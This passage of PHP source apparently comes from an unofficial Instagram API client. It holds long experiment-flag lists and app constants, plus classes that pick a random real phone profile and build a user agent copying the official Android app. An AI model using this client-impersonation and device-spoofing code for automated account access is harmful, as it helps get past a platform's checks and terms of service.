ndroid_insights_creative_tutorials_universe,ig_save_android_dual_action_upsell,ig_android_photos_qpl,ig_hashtag_following_holdout_universe,ig_android_facebook_global_state_sync_frequency_universe,ig_android_unify_video_player,ig_android_explore_universe,ig_android_story_viewer_impressions,ig_android_experimental_filters,ig_android_webrtc_icerestart_universe,ig_android_interactions_permalink_replace_single_media_universe,ig_android_live_comment_fetch_frequency_universe,ig_android_direct_inbox_recyclerview,ig_android_highlight_title_universe,ig_shopping_viewer_share_action,ig_android_hashtag_row_preparer,ig_eof_caboose_universe,ig_android_optic_new_features_implementation,ig_android_optic_new_zoom_controller,ig_android_direct_log_badge_count_inconsistent,ig_android_qp_clash_management_enabled_v4_universe,ig_android_hide_button_for_invite_facebook_friends,ig_android_realtime_fix_mqtt_connectivity_universe,ig_android_activity_feed_impression_logger,ig_android_live_align_by_2_universe,ig_android_reorder_lowdata_check,ig_android_network_util_cache_info,ig_android_async_network_tweak_universe_15,ig_android_direct_thread_presence,ig_android_camera_new_early_show_smile_icon_universe,ig_android_lazy_inflate_inline_comment_composer_v1,ig_android_direct_remix_visual_messages,ig_android_upload_prevent_upscale,ig_android_auto_advance_su_unit_when_scrolled_off_screen,ig_android_business_ix_universe,ig_android_shopping_pdp_related_posts,ig_android_live_comment_typing_indicator_production_universe,ig_android_new_one_tap_nux_universe,ig_feed_experience,ig_android_stories_gallery_long_term_holdout,ig_android_business_new_navigation_universe,ig_android_stories_text_format_emphasis,ig_android_explore_post_chaining_cache,ig_android_direct_app_invites,ig_android_hashtags_in_feed_posts,ig_android_video_resize_operation,ig_android_live_end_redirect_universe,ig_android_following_hashtags_tooltip,ig_direct_max_participants,ig_android_direct_unify_autoloadmore_logic2_universe,ig_android_stories_whatsapp_share,ig_android_low_data_mode_backup_2,ig_android_bitmap_attribution_check,ig_android_contact_invites_nux_universe,ig_android_direct_share_story_to_facebook,ig_android_stories_music_overlay,ig_android_direct_null_state_activation_cards,ig_android_exoplayer_creation_flow,school_onboarding_flow_prompt_universe,ig_android_stories_sticker_tray_reveal_more,ig_android_video_segmented_upload_multi_thread_universe,ig_android_fbupload_sidecar_video_universe,ig_mi_android_main_feed_impression_universe,ig_android_direct_app_thread_presence_header,ig_android_react_native_restart_after_error_universe,ig_android_profile,ig_android_additional_contact_in_nux,ig_android_disk_usage_universe_v2,ig_android_story_reactions_producer_holdout,ig_android_live_use_rtc_upload_universe,ig_android_live_replay_highlights_universe,ig_main_activity_cold_start,ig_android_direct_double_tap_like_everything,ig_image_pipline_universe,ig_android_direct_character_limit,ig_business_dynamic_conversion_universe,ig_android_shopping_channel_in_explore,ig_stories_holdout_h1_2018,ig_android_scroll_perf_qpl_killswitch,ig_android_fbns_optimization_universe,ig_android_profile_phone_prefill_universe,ig_android_video_status_control,ig_android_subtitle_no_cache,ig_android_direct_attribute_app_on_gifs,ig_android_igtv_picture_in_picture_support,ig_android_video_ta_universe,ig_android_live_view_profile_from_comments_universe,ig_android_interactions_threaded_comments_in_feed_universe,ig_fbns_blocked,ig_android_sso_kototoro_app_universe,ig_android_comments_ranking_toggle_universe,ig_android_cache_logger_video,ig_android_biz_auto_slide_props,ig_android_show_fbunlink_button_based_on_server_data,ig_android_page_claim_deeplink_qe,ig_android_new_orders_entrypoint,ig_android_media_rows_async_inflate,ig_android_direct_story_chaining_v2,ig_android_ad_show_full_name_universe,ig_android_audio_segment_report_info,ig_android_private_highlights_universe,ig_android_igtv_audio_always_on,ig_android_interactions_inline_composer_extensions_universe,ig_android_scroll_main_feed,ig_business_integrity_ipc_universe,ig_android_insights_contextual_education_universe,ig_android_rate_limit_feed_item_viewable_helper,ig_android_carousel_view_stubs,ig_android_fci_empty_feed_friend_search,ig_feed_requests_logs_universe,ig_android_video_qp_logger_universe,ig_discovery_holdout_universe,ig_android_one_tap_upsell_redesign,ig_android_direct_create_shortcut,ig_android_ar_effects_button_display_timing,ig_android_audience_control_nux,ig_vc_holdout_universe_h2,ig_internal_ui_for_lazy_loaded_modules_experiment,ig_android_stories_sampled_progress,ig_android_contact_invite_crash_fix,ig_android_qpl_queue_time_universe,ig_android_ccu_jobscheduler_outer,ig_android_stories_viewer_modal_activity,ig_android_fbns_preload_direct_universe,ig_android_direct_24h_replayability_nux_killswitch_universe,ig_android_activity_feed_row_click,ig_android_gl_drawing_marks_after_undo_backing,ig_android_shopping_stories_consumption,ig_android_flytrap_job_intent_service,ig_android_time_spent_dashboard,ig_android_strip_domain_gif_cache_key,ig_android_loom_v2,ig_android_close_friends_v4_account_switcher,ig_android_ad_pbia_header_click_universe,ig_android_direct_quick_replies,ig_android_handle_username_in_media_urls_universe,ig_android_request_compression_universe,ig_android_usersession_leak_patching_universe,ig_android_growth_fci_team_holdout_universe,ig_android_hybrid_bitmap_for_n,ig_android_insights_holdout,ig_feed_engagement_holdout_2018_h1,ig_use_fb_rtmp_streamer_universe,ig_android_media_sticker_width_ratio,ig_android_live_post_live_for_live_reshare,ig_android_direct_app_multi_account_badging,ig_android_direct_persisted_text_drafts_universe,ig_android_felix_prefetch_thumbnail_sprite_sheet,ig_camera_android_segmentation_async_universe,ig_android_draw_chalk_client_universe,ig_android_separate_network_executor,ig_android_remove_push_notifications,ig_android_video_segment_ffmpeg_muxer_universe,ig_android_universe_video_production,ig_android_intialization_chunk_410,ig_android_live_analytics,ig_android_camera_gallery_upload_we_universe,ig_android_video_exoplayer_2,ig_android_bitmap_compress_retry_universe,ig_android_verified_comments_universe,ig_android_direct_sidebar_send_states_rollout,ig_android_dash_script,ig_android_direct_mutation_manager_universe_v4,ig_shopping_viewer_intent_actions,ig_android_gallery_order_by_date_taken,ig_android_live_640_quality,ig_android_direct_mutation_manager_video_universe,ig_android_custom_story_import_intent,ig_lockdown_feed_perf,ig_stories_allow_camera_actions_while_recording,ig_video_copyright_whitelist,ig_explore_holdout_universe,ig_android_direct_random_gifs_killswitch,ig_android_optic_nullify_preview_texture_on_release,ig_android_fbc_upsell_on_dp_first_load,ig_android_device_language_reset,ig_android_direct_initialize_camera_animator_on_attach_fragment_to_host,ig_android_video_watermark_universe_qe2,ig_android_shopping_video_product_tag_consumption,ig_biz_growth_entry_value,ig_android_stories_alignment_guides_universe,ig_android_livewith_guest_adaptive_camera_universe,ig_android_optic_thread_priorities,ig_android_live_encore_camera_pivot_universe,ig_android_carousel_no_buffer_10_30,ig_profile_company_holdout_h2_2018,ig_android_feed_coldstart_universe,ig_android_felix_pager_center_buffer_bias,ig_android_user_url_deeplink_fbpage_endpoint,ig_android_direct_face_filter_button_in_composer,ig_android_rate_limit_feed_video_module,ig_android_optic_tweaking_universe,ig_android_ad_watchbrowse_universe,ig_direct_raven_search_universe,ig_android_live_pivot_to_reshare_universe,ig_company_profile_holdout,ig_android_invite_list_button_redesign_universe,ig_close_friends_v4_notifications,ig_android_log_mediacodec_info,ig_android_fb_follow_server_linkage_universe,ig_android_direct_expiring_media_loading_errors,ig_android_direct_remove_blurred_profile_photo_for_thread_camera_universe,ig_android_direct_multiple_media_send_in_thread,ig_android_smartisan_app_badging,ig_android_insights_relay_optimization_universe,ig_android_stories_viewer_bitmap_holder,ig_android_shopping_catalogsearch,ig_android_reel_zoom_universe,ig_android_cpu_frame_rendering_universe,ig_android_stories_create_flow_favorites_tooltip,ig_android_direct_ephemeral_replies_with_context,ig_android_stories_music_broadcast_receiver,ig_android_explore_in_feed_universe,ig_android_direct_send_new_combined_reshare,ig_android_direct_bugreport_from_message_failures,ig_android_enable_request_compression_ccu,ig_android_own_post_share_update,ig_android_vc_ongoing_call_notification_universe,ig_fb_notification_universe,ig_android_stability_memory_manual_fixes_h1_2018,ig_branded_content_paid_branded_content,ig_android_facebook_twitter_profile_photos,ig_android_story_decor_image_fbupload_universe,ig_android_hashtag_creation_development,ig_android_hero_player_settings,ig_android_live_with_invite_sheet_search_universe,ig_promote_ppe_v2_universe,ig_android_stories_archive_calendar,ig_android_ad_watchbrowse_cta_universe,ig_business_signup_biz_id_universe,ig_android_video_render_device_tiers,ig_android_realtime_iris,ig_android_nametag_in_stories_camera,ig_android_profile_activation_cards,ig_android_direct_gifs_in_thread,ig_android_main_feed_fragment_scroll_timing_histogram_uni,ig_android_qp_batch_fetch_caching_enabled_v1_universe,ig_android_signup_use_activity,ig_android_location_feed_related_business,ig_promote_audience_selection_universe,ig_android_media_rows_prepare_10_31,ig_family_bridges_holdout_universe,ig_android_updatelistview_on_loadmore,ig_android_business_ix_self_serve,ig_android_qa_whitelist_for_su_in_empty_feed,ig_direct_raven_sharesheet_ranking,ig_android_insta_video_consumption_infra,ig_android_api_urlencode_universe,ig_android_concurrent_cold_start_universe,ig_android_multi_capture_camera,ig_android_stories_cross_sharing_to_fb_holdout_universe,ig_smb_ads_holdout_2018_h2_universe,ig_android_edit_location_page_info,ig_android_felix_video_upload_length,ig_android_video_segment_resume_policy_universe,ig_android_igsystrace_universe,ig_camera_android_ar_effect_deeplink_universe,ig_android_igtv_banner_changes,ig_android_dash_for_vod_universe,ig_android_new_highlight_button_text,ig_android_low_content_nux_ci_show_su,ig_android_story_ads_default_long_video_duration,ig_android_stories_camera_enhancements,ig_android_feed_stale_check_interval,ig_android_interactions_realtime_typing_indicator_and_live_comments,ig_android_show_third_party_username,ig_android_video_live_trace_universe,ig_android_stories_gallery_improvements,ig_android_stories_large_reel_navigation,ig_android_prefetch_notification_data,ig_android_3pspp,ig_android_direct_full_size_gallery_upload_universe_v2,ig_promotions_unit_in_insights_landing_page,ig_android_direct_pending_media,ig_camera_ar_image_transform_library,ig_android_comments_composer_newline_universe,ig_android_bp_stories_prefetch_fix_rollout_universe,ig_android_stories_gif_sticker,ig_camera_android_superzoomv3_attribution_universe,ig_android_stories_posting_offline_ui,ig_camera_android_superzoomv3_universe,ig_android_account_hierarchy_account_association_signal_upload_kill_switch,ig_android_comments_inline_composer_new_ui_universe,ig_android_offline_mode_holdout,ig_android_live_send_user_location,ig_android_post_share_to_string,ig_android_question_sticker_see_all_card_universe,ig_android_comments_direct_reply_to_author,ig_android_video_streaming_upload_universe,ig_android_qp_tooltips_enabled_v1_universe,ig_android_stepper_header,ig_android_family_bridge_discover,ig_direct_report_conversation_universe,ig_android_startup_manager,instagram_search_and_coefficient_holdout,ig_android_high_res_upload_2,ig_android_camera_sdk_check_gl_surface_r2,ig_android_http_service_same_thread,ig_android_remove_confirmation_dialog_for_unfollowing_public_users,ig_challenge_general_v2,ig_android_expired_build_lockout,ig_profile_holdout_universe,ig_android_felix_keep_video_view,ig_android_vpvd_impressions_universe,ig_android_direct_thread_composer_send,ig_android_post_capture_filter,ig_android_rendering_controls,ig_android_os_version_blocking,ig_promote_fix_expired_fb_accesstoken_android_universe,ig_android_encoder_width_safe_multiple_16,ig_android_stories_combined_asset_search,ig_android_live_comment_typing_indicator_consumption_universe,ig_android_request_feed_on_back,ig_android_igtv_no_badge,ig_android_unfollow_from_main_feed_v2,ig_android_edit_business_profile_inline_error_universe,ig_promote_video_retry_universe,ig_android_hostmanager_save_state_back_press,ig_helium_v1,ig_android_buffered_analytics_logger_thread_safe,ig_android_fb_connect_follow_invite_flow,ig_android_video_stitch_after_segmenting_universe,ig_android_enable_swipe_to_dismiss_for_all_dialogs,ig_android_business_cross_post_with_biz_id_infra,ig_android_paid_branded_content_rendering,ig_android_marauder_update_frequency,ig_android_rage_shake_whitelist,ig_android_low_data_mode_backup_4,ig_mi_analytics_uploader_diagnostics,ig_android_shopping_pdp_craft,ig_android_ad_connection_manager_universe,ig_android_reset_to_feed_from_background,ig_android_ad_watchbrowse_carousel_universe,ig_android_branded_content_edit_flow_universe,ig_android_video_feed_universe,ig_android_upload_reliability_universe,ig_android_delay_product_tag_indicator_inflate,ig_android_feed_audio,ig_android_sharing,ig_android_interactions_mention_search_presence_dot_universe,ig_android_stop_logging_netego_su_short_impressions,ig_android_direct_app_custom_notification_sound,ig_android_direct_app_reel_grid_search,ig_android_live_disable_speed_test_ui_timeout_universe,ig_android_hashtag_page_reduced_related_items,ig_direct_reshare_sharesheet_ranking,ig_android_stability_holdout_2018,ig_direct_reshare_search_universe,ig_branded_content_share_to_facebook,ig_android_building_aymf_universe,ig_android_collect_os_usage_events_universe,ig_android_live_dash_latency_broadcaster,ig_android_shopping_pdp_from_the_community,ig_android_direct_mqtt_send,ig_promote_unified_insights_universe,ig_android_global_prefetch_scheduler,ig_android_capture_slowmo_mode,ig_fbns_shared,ig_android_live_ff_fill_gap,ig_android_interactions_composer_extensions_universe,ig_android_cache_timespan_objects,ig_android_rn_ads_manager_universe,ig_android_foreground_location_collection,ig_kill_connectivity_change_receiver,ig_android_pending_actions_serialization,ig_android_2018_h1_hashtag_report_universe,ig_android_new_camera_design_universe,ig_android_surface_view,ig_android_ads_history_universe,ig_android_image_cache_tweak_for_n,ig_android_hashtag_unfollow_from_main_feed,ig_android_ad_watchmore_entry_point_universe,ig_android_stories_feedback_badging_universe,ig_android_low_latency_consumption_universe,ig_live_holdout_h1_2018,ig_android_graphql_survey_new_proxy_universe,ig_android_resumable_downloads_logging_universe,ig_android_suggested_users_redesign_class_cast,ig_direct_recipients_search_universe,ig_android_scheduled_executor,ig_android_fblocation_universe,ig_android_video_prefetch_for_connectivity_type,ig_android_early_storyrequest,ig_android_ad_holdout_watchandmore_universe,ig_android_felix_insights,ig_android_insta_video_abr_resize,ig_android_insta_video_sound_always_on,ig_android_interests_netego_dismiss,ig_android_in_app_notifications_queue,ig_android_split_contacts_list,ig_android_igtv_always_show_browse_ui,ig_android_always_use_server_recents,ig_android_carousel_prefetch_bumping,ig_android_share_link,ig_fbns_kill_switch,ig_vc_holdout_universe,ig_android_direct_blended_inbox_filters_universe,ig_android_live_broadcast_blacklist,ig_mi_extra_bundle_investigation_universe,ig_android_direct_media_forwarding,ig_android_reel_viewer_fetch_missing_reels_universe,ig_android_fb_link_ui_polish_universe,ig_android_video_webrtc_textureview,ig_android_qp_social_context_megaphones_enabled_v1_universe,ig_android_business_promote_tooltip,ig_xplat_shopping_cataloglist,ig_android_draw_rainbow_client_universe,ig_android_biz_category_prefill_universe,ig_android_enable_swipe_to_dismiss_for_favorites_dialogs,ig_android_pigeon_sampling,ig_android_auto_retry_post_mode,ig_android_gallery_high_quality_photo_thumbnails,ig_android_video_upload_quality_avoid_degradation,ig_android_show_weekly_ci_upsell_limit,ig_direct_android_reply_modal_universe,ig_ei_option_setting_universe,ig_android_gallery_multi_select,ig_perf_android_holdout,ig_direct_core_holdout_q1_2018,ig_promote_insights_video_views_universe,ig_android_list_redesign,ig_android_claim_location_page,ig_android_search_normalization,ig_android_su_rows_preparer,ig_android_direct_forward_messages_universe,ig_android_pbia_proxy_profile_universe,ig_android_cover_frame_rendering,ig_android_feed_post_sticker_alt,ig_camera_android_segmentation_enabled_universe,ig_android_upload_retry_job_service,ig_android_live_time_adjustment_universe,ig_android_stories_better_error_state_handling,ig_android_verify_phone_universe,ig_android_vc_in_app_notification_universe,ig_android_react_native_ota,ig_android_low_data_mode_backup_3,android_ig_camera_ar_asset_manager_improvements_universe,ig_android_qcc_perf,ig_android_video_cache_evictor_universe,ig_android_direct_business_holdout,ig_android_promote_feed_to_stories_universe,ig_media_geo_gating,ig_android_media_as_sticker,ig_android_internal_sticker_universe,ig_android_live_selective_disk_recording,ig_android_video_watermark_universe,ig_android_giphy_content_rating,ig_android_ad_cta_context_universe,ig_android_sc_ru_ig,ig_android_live_streaming_experimental_abr_universe,ig_android_cronet_stack,ig_android_mention_sharing_from_reel_viewer_universe,ig_android_warm_headline_text,ig_android_new_block_flow,ig_android_long_form_video,ig_android_network_trace_migration,ig_android_messenger_share_test,android_face_filter_universe,ig_android_vc_webrtc_tslog,ig_android_stories_reappearing_tray_universe,ig_android_stories_server_brushes,ig_android_video_upload_configuration,ig_android_collections_cache,ig_android_stories_disable_highlights_media_preloading,ig_android_logging_metric_universe_v2,ig_android_stories_persistent_tray_universe,ig_android_screen_recording_bugreport_universe,ig_android_cleanup_socket_client,ig_android_friends_sticker,ig_android_whats_app_contact_invite_universe,ig_android_feed_auto_share_to_facebook_dialog,ig_android_felix_creation_enabled,ig_direct_android_larger_media_reshare_style,ig_android_image_mem_cache_strong_ref_universe,ig_android_suggested_highlights,ig_android_original_video_report_info,ig_stories_holdout_h2_2017,ig_android_video_server_coverframe,ig_android_video_controls_universe,ig_camera_holdout_h1_2018_performance,ig_android_allow_reshare_setting,ig_android_inappnotification_rootactivity_tweak,ig_android_local_info_page,ig_camera_holdout_h1_2018_product,ig_shopping_checkout_mvp_experiment,ig_android_hide_type_mode_camera_button,ig_timestamp_public_test,ig_android_direct_thread_composer_hint_text,ig_android_webrtc_renderer_reuse_universe,ig_android_business_conversion_value_prop_v2,ig_android_stories_question_sticker_precapture_response,ig_android_live_wave_production_universe,ig_android_nametag_dark_launch_universe,ig_android_question_sticker_replied_state,ig_android_obtain_byte_array_only_if_needed_universe,ig_android_early_feedrequest,ig_android_video_no_proxy,ig_android_hashtag_search_suggestions,ig_android_stories_music_photo_default_duration,ig_android_feed_cache_multipage_universe,ig_android_leak_detector_upload_universe,ig_android_hashtag_page_support_places_tab,ig_android_ad_lightweight_in_app_browser,ig_android_save_upsell_timing,ig_android_video_tagging,ig_android_live_bg_download_face_filter_assets_universe,ig_android_video_segmented_media_needs_reupload_universe,ig_android_insta_video_audio_encoder,ig_android_search_hashtag_badges,ig_android_video_ssim_report_universe,ig_android_direct_view_more_qe,ig_camera_android_effect_info_bottom_sheet_universe,ig_android_log_su_impression_with_zero_latency,ig_android_direct_voice_messaging,ig_android_profile_lazy_load_carousel_media,ig_android_explore_autoplay_use_less_data_universe,ig_android_reel_dashboard_camera_entry_point,ig_android_su_follow_back,ig_android_disable_explore_prefetch,ig_android_ad_redesign_iab_universe,ig_android_universe_reel_video_production,ig_android_power_metrics,ig_direct_quality_lockdown_holdout_2018,ig_android_ad_collection_thumbnail_cta_universe,ig_android_bitmap_cache_executor_size,ig_android_direct_log_badge_count,ig_android_direct_remove_visual_messages_nuxs,ig_camera_fast_tti_universe,ig_android_non_square_first,ig_android_vc_fix_joining_other_call_with_new_intent,ig_android_drawable_usage_logging_universe,ig_android_reel_viewer_data_buffer_size,ig_explore_2018_h2_platformization_android_universe,ig_traffic_routing_universe,ig_promote_political_ads_universe,ig_android_clarify_invite_options,ig_android_qp_batch_fetch_server_ttl_enabled_v1_universe,ig_android_igtv_aspect_ratio_limits,ig_android_effect_tray_background,ig_android_disable_scroll_listeners,ig_stories_selfie_sticker,ig_android_video_upload_quality_qe1,ig_android_stories_music_awareness_universe,ig_android_live_nerd_stats_universe,ig_android_video_cache_size_universe,ig_android_igds_edit_profile_fields,ig_android_feed_timeout_universe,ig_video_holdout_h2_2017,ig_android_immersive_viewer_follow,ig_android_sso_family_key_universe,ig_android_direct_share_sheet_custom_fast_scroller,ig_android_live_see_fewer_videos_like_this_universe,ig_android_sonar_prober_universe,ig_android_swipe_up_area_universe,ig_android_crash_report_device_id_swap,ig_android_video_segmented_upload_universe,ig_android_direct_new_thread_header,ig_perf_android_holdout_2018_h1,ig_android_live_special_codec_size_list,ig_android_view_info_universe,ig_android_cold_start_cool_off_universe,android_ig_camera_clear_metadata_after_switch_account,ig_android_shopping_video_product_tag_creation,ig_android_startup_sampling_rate_universe,promote_media_picker,ig_android_story_import_intent,ig_android_edit_highlight_redesign,ig_android_insta_video_broadcaster_infra_perf,ig_android_ama_universe,ig_android_live_webrtc_livewith_params,ig_android_show_fb_name_universe,ig_android_explore_post_chaining_prefetch,ig_android_fix_prepare_direct_push,ig_android_direct_speed_cam_univ,ig_android_all_videoplayback_persisting_sound,ig_android_live_pause_upload,ig_android_stories_gallery_sticker,ig_android_2fac,ig_android_vc_sounds_universe,ig_android_igtv_refresh_tv_guide_interval,ig_direct_inbox_search_universe,ig_android_experimental_onetap_dialogs_universe,ig_android_pendingmedia_retry,ig_android_settings_redesign,ig_lockdown_feed_perf_image_cover,ig_android_direct_search_story_recipients_universe,ig_android_fb_sharing_shortcut,ig_android_grid_cell_count,ig_android_ad_watchinstall_universe,ig_android_realtime_manager_optimization,ig_android_shortcuts,ig_android_comments_notifications_universe,ig_android_archive_fetching,ig_android_gdpr_fip_year_picker_user,ig_android_vc_webrtc_params,ig_android_canvas_tilt_to_pan_universe,ig_android_feed_sharing_memory_leak,ig_android_direct_expiring_media_from_notification_behavior_universe,ig_android_connectivity,ig_android_ad_account_top_followers_universe,ig_android_offline_reel_feed,ig_android_vc_end_screen_user_feedback_universe,native_contact_invites_universe,ig_android_user_behavior_prefetch,ig_android_feed_post_sticker,ig_android_facebook_crosspost,ig_android_stories_tray_refresh_universe,ig_android_mark_seen_state_on_viewed_impression,ig_android_viewer_tapback_size_universe,ig_android_direct_mutation_manager_photo_universe,ig_android_configurable_retry,ig_promote_estimated_clicks_universe,ig_business_profile_18h1_holdout_universe,ig_android_nearby_venues_location_timeout_fallback,ig_android_photo_invites,ig_android_no_network_profile_universe,ig_interactions_h2_2018_team_holdout_universe,ig_branded_content_tagging_upsell,ig_android_ccu_jobscheduler_inner,ig_android_explore_chaining_universe,ig_android_gqls_typing_indicator,ig_android_direct_show_inbox_loading_banner_universe,ig_android_webrtc_encoder_factory_universe,ig_ads_increase_connection_step2_v2,ig_android_direct_permanent_photo_screenshot_quality_fix,ig_scroll_by_two_cards_for_suggested_invite_universe,ig_android_internal_collab_save';
        const LOGIN_EXPERIMENTS = 'ig_growth_android_profile_pic_prefill_with_fb_pic_2,ig_android_react_updater_universe,ig_android_autosubmit_password_recovery_universe,ig_android_background_voice_phone_confirmation_prefilled_phone_number_only,ig_android_pendingmediamanager_sessionscoped_universe,ig_android_report_nux_completed_device,ig_android_background_voice_confirmation_block_argentinian_numbers,ig_android_device_verification_fb_signup,ig_android_reg_nux_headers_cleanup_universe,ig_android_reg_omnibox,ig_android_background_voice_phone_confirmation,ig_android_gmail_autocomplete_account_over_one_tap,ig_android_skip_signup_from_one_tap_if_no_fb_sso,ig_android_access_flow_prefill,ig_android_session_scope_third_party,ig_android_email_suggestions_universe,ig_android_contact_import_placement_universe,ig_android_ask_for_permissions_on_reg,ig_android_only_prefill_free_email_address_in_reg,ig_android_notification_processing_universe,ig_android_run_device_verification,ig_android_onboarding_skip_fb_connect,ig_android_account_switch_infra_universe,ig_android_browser_service_job_intent_universe,ig_restore_focus_on_reg_textbox_universe,ig_android_do_not_skip_ci_in_fb_reg_flow,ig_android_session_scoping_facebook_account,ig_android_security_intent_switchoff,ig_android_do_not_show_back_button_in_nux_user_list,ig_android_invalid_onetap_universe,ig_client_logging_efficiency,ig_android_show_password_in_reg_universe,ig_android_aymh_signal_collecting_kill_switch,ig_android_nux_add_email_device,ig_android_multi_tap_login_new,ig_android_fci_onboarding_friend_search,ig_android_ui_cleanup_in_reg_v2,ig_android_editable_username_in_reg,ig_android_one_tap_show_logged_out_only_user,ig_android_phone_auto_login_during_reg,ig_android_one_tap_fallback_auto_login,ig_android_updated_copy_user_lookup_failed,ig_fb_invite_entry_points,ig_android_typeahead_subsequence_matching,ig_android_hsite_prefill_new_carrier,ig_android_gmail_oauth_in_reg,ig_two_fac_login_screen,ig_android_run_account_nux_on_server_cue_device,ig_android_gms_registration_universe,ig_android_bundle_size_audit_universe,ig_android_passwordless_auth,ig_android_sim_info_upload,ig_android_universe_noticiation_channels,ig_android_analytics_accessibility_event,ig_android_direct_main_tab_universe,ig_android_login_provider_migration,ig_android_email_one_tap_auto_login_during_reg,ig_android_prefill_full_name_from_fb,ig_android_local_2018_h2_holdout,ig_android_directapp_camera_open_and_reset_universe,ig_challenge_kill_switch,ig_android_video_bug_report_universe,ig_account_recovery_with_code_android_universe,ig_prioritize_user_input_on_switch_to_signup,ig_android_modularized_nux_universe_device,ig_android_account_recovery_auto_login,ig_android_onetaplogin_login_upsell,ig_android_hide_typeahead_for_logged_users,ig_android_targeted_one_tap_upsell_universe,ig_android_caption_typeahead_fix_on_o_universe,ig_android_retry_create_account_universe,ig_android_crosshare_feed_post,ig_android_abandoned_reg_flow,ig_android_remember_password_at_login,ig_android_smartlock_hints_universe,ig_android_2fac_auto_fill_sms_universe,ig_type_ahead_recover_account,ig_android_onetaplogin_optimization,ig_android_family_apps_user_values_provider_universe,ig_android_direct_inbox_account_switching,ig_android_exoplayer_settings,ig_sem_resurrection_logging,ig_android_login_forgot_password_universe,ig_android_hide_fb_flow_in_add_account_flow,ig_android_dialog_email_reg_error_universe,ig_android_low_priority_notifications_universe,ig_android_device_sms_retriever_plugin_universe,ig_android_show_explore_people_as_last_step_in_nux,ig_android_device_verification_separate_endpoint,ig_android_restore_focus_on_textbox_reg_universe';
        const SIG_KEY_VERSION   = '4';


        const USER_AGENT_LOCALE    = 'tr_TR';
        const ACCEPT_LANGUAGE      = 'tr-TR';
        const CONTENT_TYPE         = 'application/x-www-form-urlencoded; charset=UTF-8';
        const X_FB_HTTP_Engine     = 'Liger';
        const X_IG_Connection_Type = 'WIFI';
        const X_IG_Capabilities    = '3brTvw==';

        // Facebook Constants.
        const FACEBOOK_OTA_FIELDS               = 'update%7Bdownload_uri%2Cdownload_uri_delta_base%2Cversion_code_delta_base%2Cdownload_uri_delta%2Cfallback_to_full_update%2Cfile_size_delta%2Cversion_code%2Cpublished_date%2Cfile_size%2Cota_bundle_type%2Cresources_checksum%7D';
        const FACEBOOK_ORCA_PROTOCOL_VERSION    = 20150314;
        const FACEBOOK_ORCA_APPLICATION_ID      = '124024574287414';
        const FACEBOOK_ANALYTICS_APPLICATION_ID = '567067343352427';
        // MQTT Constants.
        const PLATFORM                   = 'android';
        const FBNS_APPLICATION_NAME      = 'MQTT';
        const INSTAGRAM_APPLICATION_NAME = 'InstagramForAndroid';
        const PACKAGE_NAME               = 'com.instagram.android';
        // Instagram Analytics.
        const SURFACE_PARAM = 4715;

        /**
         * Constant declarations for web.
         */
        const WEB_URL = 'https://www.instagram.com/';
    }


    class GoodDevices {
        const DEVICES = [
            '24/7.0; 380dpi; 1080x1920; OnePlus; ONEPLUS A3010; OnePlus3T; qcom',
            '23/6.0.1; 640dpi; 1440x2392; LGE/lge; RS988; h1; h1',
            '24/7.0; 640dpi; 1440x2560; HUAWEI; LON-L29; HWLON; hi3660',
            '23/6.0.1; 640dpi; 1440x2560; ZTE; ZTE A2017U; ailsa_ii; qcom',
            '23/6.0.1; 640dpi; 1440x2560; samsung; SM-G935F; hero2lte; samsungexynos8890',
            '23/6.0.1; 640dpi; 1440x2560; samsung; SM-G930F; herolte; samsungexynos8890',
        ];

        public static function getRandomGoodDevice() {
            $randomIdx = array_rand(self::DEVICES, 1);

            return self::DEVICES[$randomIdx];
        }

    }

    class Device {
        const REQUIRED_ANDROID_VERSION = '2.2';
        protected $_appVersion;
        protected $_userLocale;
        protected $_deviceString;
        protected $_userAgent;
        protected $_androidVersion;
        protected $_androidRelease;
        protected $_dpi;
        protected $_resolution;
        protected $_manufacturer;
        protected $_brand;
        protected $_model;
        protected $_device;
        protected $_cpu;

        public function __construct($appVersion, $userLocale, $deviceString = NULL, $autoFallback = TRUE) {
            $this->_appVersion = $appVersion;
            $this->_userLocale = $userLocale;
            if($autoFallback && (!is_string($deviceString))) {
                $deviceString = GoodDevices::getRandomGoodDevice();
            }
            $this->_initFromDeviceString($deviceString);
        }

        protected function _initFromDeviceString($deviceString) {
            if(!is_string($deviceString) || empty($deviceString)) {
                throw new \RuntimeException('Device string is empty.');
            }
            $parts = explode('; ', $deviceString);
            if(count($parts) !== 7) {
                throw new \RuntimeException(sprintf('Device string "%s" does not conform to the required device format.', $deviceString));
            }
            $androidOS = explode('/', $parts[0], 2);
            if(version_compare($androidOS[1], self::REQUIRED_ANDROID_VERSION, '<')) {
                throw new \RuntimeException(sprintf('Device string "%s" does not meet the minimum required Android version "%s" for Instagram.', $deviceString, self::REQUIRED_ANDROID_VERSION));
            }

            $manufacturerAndBrand  = explode('/', $parts[3], 2);
            $this->_deviceString   = $deviceString;
            $this->_androidVersion = $androidOS[0]; // "23".
            $this->_androidRelease = $androidOS[1]; // "6.0.1".
            $this->_dpi            = $parts[1];
            $this->_resolution     = $parts[2];
            $this->_manufacturer   = $manufacturerAndBrand[0];
            $this->_brand          = (isset($manufacturerAndBrand[1]) ? $manufacturerAndBrand[1] : NULL);
            $this->_model          = $parts[4];
            $this->_device         = $parts[5];
            $this->_cpu            = $parts[6];
            $this->_userAgent      = UserAgent::buildUserAgent($this->_appVersion, $this->_userLocale, $this);
        }

        public function getDeviceString() {
            return $this->_deviceString;
        }

        public function getUserAgent() {
            return $this->_userAgent;
        }

        public function getAndroidVersion() {
            return $this->_androidVersion;
        }

        public function getAndroidRelease() {
            return $this->_androidRelease;
        }

        public function getDPI() {
            return $this->_dpi;
        }

        public function getResolution() {
            return $this->_resolution;
        }

        public function getManufacturer() {
            return $this->_manufacturer;
        }

        public function getBrand() {
            return $this->_brand;
        }

        public function getModel() {
            return $this->_model;
        }

        public function getDevice() {
            return $this->_device;
        }

        public function getCPU() {
            return $this->_cpu;
        }
    }


    class UserAgent {
        const USER_AGENT_FORMAT = 'Instagram %s Android (%s/%s; %s; %s; %s; %s; %s; %s; %s)';

        public static function buildUserAgent($appVersion, $userLocale, Device $device) {
            if(!$device instanceof Device) {
                throw new \InvalidArgumentException('The device parameter must be a Device class instance.');
            }
            $manufacturerWithBrand = $device->getManufacturer();
            if($device->getBrand() !== NULL) {
                $manufacturerWithBrand .= '/' . $device->getBrand();
            }

            return sprintf(self::USER_AGENT_FORMAT, $appVersion, $device->getAndroidVersion(), $device->getAndroidRelease(), $device->getDPI(), $device->getResolution(), $manufacturerWithBrand, $device->getModel(), $device->getDevice(), $device->getCPU(), $userLocale);
        }
    }


    class ApiService {

        private $db;
        private $data;

        function __construct() {
